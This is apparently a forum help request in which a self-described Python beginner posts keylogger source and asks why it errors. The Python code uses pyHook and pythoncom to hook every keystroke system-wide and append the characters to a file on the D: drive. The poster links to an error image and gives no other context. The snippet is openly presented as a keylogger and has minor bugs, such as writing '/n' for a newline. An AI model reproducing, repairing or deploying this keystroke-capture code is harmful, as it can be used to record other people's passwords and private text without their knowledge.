import pythoncom
import pyHook
def key_event(event):
if event.Ascii != 0:
f = open('D:\log.txt', 'r+')
plain_text = f.read()
f.close()
f = open('D:\log.txt', 'w')
keylog = chr(event.Ascii)
if event.Ascii == 13:
keylog = '/n'
plain_text += keylog
f.write(plain_text)
f.close()
return True
hm = pyHook.HookManager()
hm.KeyDown = key_event
hm.HookKeyboard()
pythoncom.PumpMessages()
So I'm pretty new to python and it's my first time playing around with the pyHook and pythoncom modules, I've spent a lot of time on this keylogger and it just doesn't seem to work I keep getting this same error and I have no idea what it means, it would be cool if I could get some help!
The error I am getting:
http://imgur.com/kHbCS8z